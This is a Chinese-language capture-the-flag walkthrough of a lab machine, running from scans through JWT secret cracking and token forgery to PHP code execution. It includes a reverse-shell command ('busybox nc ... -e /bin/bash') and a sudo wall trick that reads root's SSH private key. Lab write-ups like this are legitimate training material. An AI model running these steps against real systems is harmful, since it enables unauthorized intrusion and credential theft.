一、信息收集

主机发现

使用 ARP 扫描发现局域网内的主机：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.235 08:00:27:22:51:fb       PCS Systemtechnik GmbH
...
```

目标主机确定为：**192.168.205.235**

端口扫描

对目标主机进行全端口扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.235
...
22/tcp open  ssh
80/tcp open  http
...
```

扫描结果显示开放端口：

- **22/tcp** - SSH 服务
- **80/tcp** - HTTP 服务

二、Web 服务分析

页面内容分析

首先查看 Web 服务的主页内容：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.235 | sed '/<style>/,/<\/style>/d'
...

            <h1>TI15 中国队加油</h1>
            <div class="slogan">Make Chinese DOTA Great Again</div>
            <div class="slogan">never give up 记住这个要考</div>
            ...
<!--ame:jiayouachunyu-->
```

从页面源码中发现重要信息：

- HTML 注释中的凭据：**ame:jiayouachunyu**
- 提示文字："never give up 记住这个要考"

SSH 登录测试

首先尝试使用发现的凭据进行 SSH 登录：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ame@192.168.205.235
ame@192.168.205.235's password:
Permission denied, please try again.
```

SSH 登录失败，密码不正确。

目录枚举

使用 dirsearch 对 Web 目录进行扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u http://192.168.205.235/
...
[19:16:39] 200 -  891B  - http://192.168.205.235/admin
[19:16:39] 200 -  891B  - http://192.168.205.235/admin.php
[19:16:45] 200 -    1KB - http://192.168.205.235/user
[19:16:45] 200 -    1KB - http://192.168.205.235/user.php
```

发现了两个重要的登录页面：

- `/admin` 和 `/admin.php` - 管理员登录页面
- `/user` 和 `/user.php` - 用户登录页面

首先查看 admin 页面，发现登录是假的，查看源码发现：

```
<!doctype html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <title>登录</title>
  ...
</head>
<body>
<div class="box">
  <h2>管理员登录</h2>


  <!-- 迷惑表单：表面要用户名/密码/二次验证码，但这些字段并不用于实际认证 -->
  <form method="post" autocomplete="off">
    <label>用户名</label>
    <input type="text" name="username" placeholder="请输入用户名" />

    <label>密码</label>
    <input type="password" name="password" placeholder="请输入密码" />

    <label>二次校验码（可选）</label>
    <input type="text" name="otp" placeholder="XXXXXX" />
```

```
    <!-- 供高级用户/工具直接提交 token（不会在界面显著提示） -->
    <label style="display:none">token（内部使用）</label>
    <input type="text" name="token" style="display:none" />

    <button type="submit">登录</button>
  </form>

  <div class="small" style="margin-top:12px">
  </div>
</div>
</body>
</html>
```

源码注释显示这是一个迷惑表单，真正的认证需要通过隐藏的 token 字段。

三、JWT 令牌分析

用户登录

尝试登录 user 页面，使用凭据 `ame:jiayouachunyu` 成功进入用户面板，这是一个基础的管理面板，没有特殊功能。

使用 Burp Suite 抓取刷新包，发现 Cookie 中包含 JWT 令牌：

```
POST /user HTTP/1.1
Host: 192.168.205.235
...
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI
...

username=ame&password=jiayouachunyu
```

JWT 密钥破解

使用在线 JWT 解码工具（https://jwt.cagdastunca.com/）解析令牌结构。

使用 John the Ripper 对 JWT 密钥进行暴力破解：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ vim hash



┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat hash
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1O...



┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
nevergiveup      (?)
...
```

成功破解密钥：**nevergiveup**

这个密钥正好与首页提示"never give up 记住这个要考"相呼应。

JWT 伪造

使用破解的密钥伪造管理员令牌，将用户角色从 `user` 修改为 `admin`，用户名从 `ame` 修改为 `root`。

伪造后的令牌：

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1OTIzMTIxMCw
iZXhwIjoxNzU5MjM0ODEwLCJzdWIiOiJyb29OIiwicm9sZSI6ImFkbWluIn0.jdhsCDdp8oenKbRyjz4
OczSwoBAzOlsgFS54wUp2JK4
```

管理员权限获取

使用伪造的令牌访问 admin 页面，在 Burp Suite 中修改请求：

```
POST /admin HTTP/1.1
Host: 192.168.205.235
...
Content-Length: 31
...

username=&password=&otp=&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJt
b2JhbiIsImlhdCI6MTc1OTIzMTIxMCwiZXhwIjoxNzU5MjM0ODEwLCJzdWIiOiJyb29OIiwicm9sZSI6
ImFkbWluIn0.jdhsCDdp8oenKbRyjz4OczSwoBAzOlsgFS54wUp2JK4
```

成功进入管理面板，页面提示存在隐藏文件：**karsakarsa369.php**

四、代码执行漏洞利用

隐藏页面发现

访问提示的隐藏页面：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.235/karsakarsa369.php
fuzz
```

页面返回提示"fuzz"，说明需要对参数进行模糊测试。

参数爆破

使用 ffuf 对 PHP 函数参数进行爆破：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ffuf -u 'http://192.168.205.235/karsakarsa369.php?FUZZ=phpinfo();' -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
--fs 4
...
cmd                     [Status: 200, Size: 86168, Words: 4281, Lines: 1024,
Duration: 4ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
```

发现参数 `cmd` 可以执行 PHP 代码。

测试访问 `http://192.168.205.235/karsakarsa369.php?cmd=phpinfo();` 确认可以执行 PHP 函数，从 phpinfo 输出看到默认的 disable_functions 设置，但 `exec` 函数是可用的。

反弹 Shell

建立 netcat 监听：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
```

通过 exec 函数执行反弹 Shell 命令：

```
http://192.168.205.235/karsakarsa369.php?cmd=exec('busybox nc 192.168.205.128
8888 -e /bin/bash');
```

注意：虽然执行 `id` 命令可能没有回显，但命令确实会被执行。

成功获取反弹 Shell：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.235] 50220
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell 优化

使用 Python 脚本优化 Shell 环境：

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
```

五、权限提升

系统信息收集

获取 Shell 后进行系统信息收集：

```
www-data@logi:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@logi:/var/www/html$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data:
sudo: a password is required
```

www-data 用户需要密码执行 sudo。

文件系统探索

查看 web 目录和系统文件：

```
www-data@logi:/var/www/html$ ls -al
total 1112
drwxr-xr-x 2 root root   4096 Sep 29 07:24 .
drwxr-xr-x 3 root root   4096 Apr  4 23:20 ..
-rw-r--r-- 1 root root    147 Sep 28 11:24 .htaccess
-rw-r--r-- 1 root root  16384 Sep 28 11:07 .user.php.swp
-rw-r--r-- 1 root root   5581 Sep 28 11:33 admin.php
...
-rw-r--r-- 1 root root   3281 Sep 29 03:32 index.html
-rw-r--r-- 1 root root     41 Sep 28 10:27 karsakarsa369.php
-rw-r--r-- 1 root root   7608 Sep 29 07:24 user.php
```

查看 user.php 文件获取更多信息：

```
www-data@logi:/var/www/html$ head -10 user.php
<?php
// user.php – 普通用户登录页面（不会在页面显示凭据或 token）
// 已增加无关占位内容与退出登录功能

header('Content-Type: text/html; charset=utf-8');

// ===== 用户库（仅服务器端示例） =====
$users = [
    'ame'   => ['password' => 'jiayouachunyu', 'role' => 'user'],
    'admin' => ['password' => 'supersecret_admin_pw', 'role' => 'admin']
```

查看家目录：

```
www-data@logi:/var/www/html$ ls -la /home/
total 12
drwxr-xr-x  3 root root 4096 Sep 28 10:34 .
drwxr-xr-x 18 root root 4096 Sep 28 09:25 ..
drwxr-xr-x  3 ame  ame  4096 Sep 30 05:44 ame
```

发现存在 ame 用户，尝试切换但失败。

密码发现

探索 `/var/backups` 目录：

```
www-data@logi:/var$ ls backups/
alternatives.tar.0     apt.extended_states.1.gz  apt.extended_states.3.gz
apt.extended_states.5.gz  dpkg.statoverride.0  group.bak    passwd
shadow.bak
apt.extended_states.0  apt.extended_states.2.gz  apt.extended_states.4.gz
dpkg.diversions.0         dpkg.status.0        gshadow.bak  passwd.bak
www-data@logi:/var$ cd backups/
www-data@logi:/var/backups$ cat passwd
xiangwozheyangderen
```

在备份目录中发现密码文件。

用户权限提升

使用发现的密码切换到 ame 用户：

```
www-data@logi:/var/backups$ su ame
Password: xiangwozheyangderen
ame@logi:/var/backups$ id
uid=1000(ame) gid=1000(ame) groups=1000(ame)
```

成功切换到 ame 用户。

Sudo 权限检查

检查 ame 用户的 sudo 权限：

```
ame@logi:/var/backups$ cd
ame@logi:~$ ls -la
total 28
drwxr-xr-x 3 ame  ame  4096 Sep 30 05:44 .
drwxr-xr-x 3 root root 4096 Sep 28 10:34 ..
lrwxrwxrwx 1 root root    9 Sep 28 10:37 .bash_history -> /dev/null
drwx------ 2 ame  ame  4096 Sep 29 07:33 .ssh
-r-------- 1 ame  ame    25 Sep 28 10:37 user.txt
-rw------- 1 ame  ame  7170 Sep 30 05:44 .viminfo
ame@logi:~$ sudo -l
Matching Defaults entries for ame on logi:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ame may run the following commands on logi:
    (ALL) NOPASSWD: /usr/bin/wall
```

发现 ame 用户可以无密码执行 `/usr/bin/wall` 命令。

六、Root 权限获取

GTFOBins 查询

查询 GTFOBins（https://gtfobins.github.io/gtfobins/wall/#sudo）发现 wall 命令可以用于提权，特别是 `--nobanner` 参数可以读取文件内容。

wall 命令机制说明

这里需要了解一些有趣的技术细节。如果你现在的 shell 是 www-data（反弹），然后 su ame 的 shell，执行 `sudo wall --nobanner "/root/.ssh/id_rsa"` 会没有任何输出。

这是因为：

`wall` 并不会直接把内容输出给当前执行者，它的工作流程是：

1. 打开 `/var/run/utmp` 文件；
2. 遍历其中记录的"登录用户"（比如 `who`,`w`命令能看到的）；
3. 对每个用户对应的 `/dev/pts/X` 写入广播消息。

> [!Tip]
>
> 参考依据:
>
> 1.https://unix.stackexchange.com/questions/722793/wall-but-send-text-to-local-terminal-too
>
> > The commands **`wall`** and **`write`** rely on the **`utmp`** records. Not every terminal emulator updates these records, in some it's a config option, while some others don't support updating these records at all (you might launch an external helper utility to maintain these records).
> >
> > 命令 **`wall`** 和 **`write`** 依赖于 **`utmp`** 记录。并非所有终端仿真器都会更新这些记录，有些终端仿真器会通过配置选项来更新这些记录，而有些终端仿真器则根本不支持更新这些记录（您可以启动外部辅助实用程序来维护这些记录）。
> >
> > – egmont – 埃格蒙特 Oct 29, 2022 at 22:30
> >
> > 2022年10月29日 22:30
>
> 2.https://tilde.club/~phooky/logging_wall.html

> 3.https://github.com/util-linux/util-linux/issues/2088

现在我们遇到的问题是：

```
ame@logi:~$ tty
/dev/pts/0
```

tty 我们是有的，问题是登录记录：

```
ame@logi:~$ who
ame@logi:~$ w
 07:42:06 up  3:06,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
```

我们是反弹的伪终端，不是登录会话，`utmp` 里没有它的条目，`wall` 自然不会发消息到它。

所以我们需要 SSH 重新连接 ame。

SSH 重连

使用发现的密码通过 SSH 重新连接：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ame@192.168.205.235
ame@192.168.205.235's password:
Linux logi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 30 05:42:57 2025 from 192.168.205.128
ame@logi:~$ id
uid=1000(ame) gid=1000(ame) groups=1000(ame)
```

验证登录会话状态：

```
ame@logi:~$ tty
/dev/pts/1
ame@logi:~$ w
 07:45:44 up  3:10,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ame      pts/1    192.168.205.128  07:45    0.00s  0.00s  0.00s w
ame@logi:~$ who
ame      pts/1        2025-09-30 07:45 (192.168.205.128)
```

现在 `utmp` 中有了正式的登录记录，可以使用 wall 命令了。

读取 root SSH 私钥

使用 wall 命令的 `--nobanner` 参数读取 root 用户的 SSH 私钥：

```
ame@logi:~$ sudo wall --nobanner "/root/.ssh/id_rsa"

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAnaT0B+kb64e8z3am+GYUeZQ91emxMpRnMWpP0kh3fZCoBJFf5PNX
...
yCbxr8E9aazVZ8mMJ9t4EAAAADAQABAAACACjO25D0qhKVZ6341A43NpOmaT9nqEQkoHXt
...
XtnMsZxZlM0I2hbKQVAAABAQDITkel25RoCYjYRG/oE2G7qcMwdUrVsas5o0cXdhav3oot121T

...
yFwO2nf1b1w/AAAACXJvb3RAbG9naQE=
-----END OPENSSH PRIVATE KEY-----
```

成功获取到 root 的 SSH 私钥，但需要注意私钥末尾有多余的空格和字符。

私钥处理

将私钥保存到文件并清理格式：

```
ame@logi:~$ vim tmp
ame@logi:~$ cat -A tmp
-----BEGIN OPENSSH PRIVATE KEY-----                                          $
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn         $
...
-----END OPENSSH PRIVATE KEY-----   $
```

使用 sed 命令清理私钥格式：

```
ame@logi:~$ cat tmp | sed 's/\s\+$//; s/\$//g' > id_rsa
ame@logi:~$ chmod 600 id_rsa
```

验证私钥有效性：

```
ame@logi:~$ ssh-keygen -y -f id_rsa
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAACAQCdpPQH6Rvrh7zPdqb4ZhR5lD3V6bEylGcxak/SSH...
1prNVnyYwn23gQ== root@logi
```

Root Shell 获取

使用私钥 SSH 连接到 root 用户：

```
ame@logi:~$ ssh root@127.0.0.1 -i id_rsa
Linux logi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 30 05:49:34 2025 from 192.168.205.128
root@logi:~# id
uid=0(root) gid=0(root) groups=0(root)
```

成功获取 root 权限！

获取 Flag

读取用户和 root 的 flag：

```
root@logi:~# cat /root/provemyself.txt /home/ame/user.txt
root{xiangrootzheyangderen}
user:{niudexiongdiniude}
```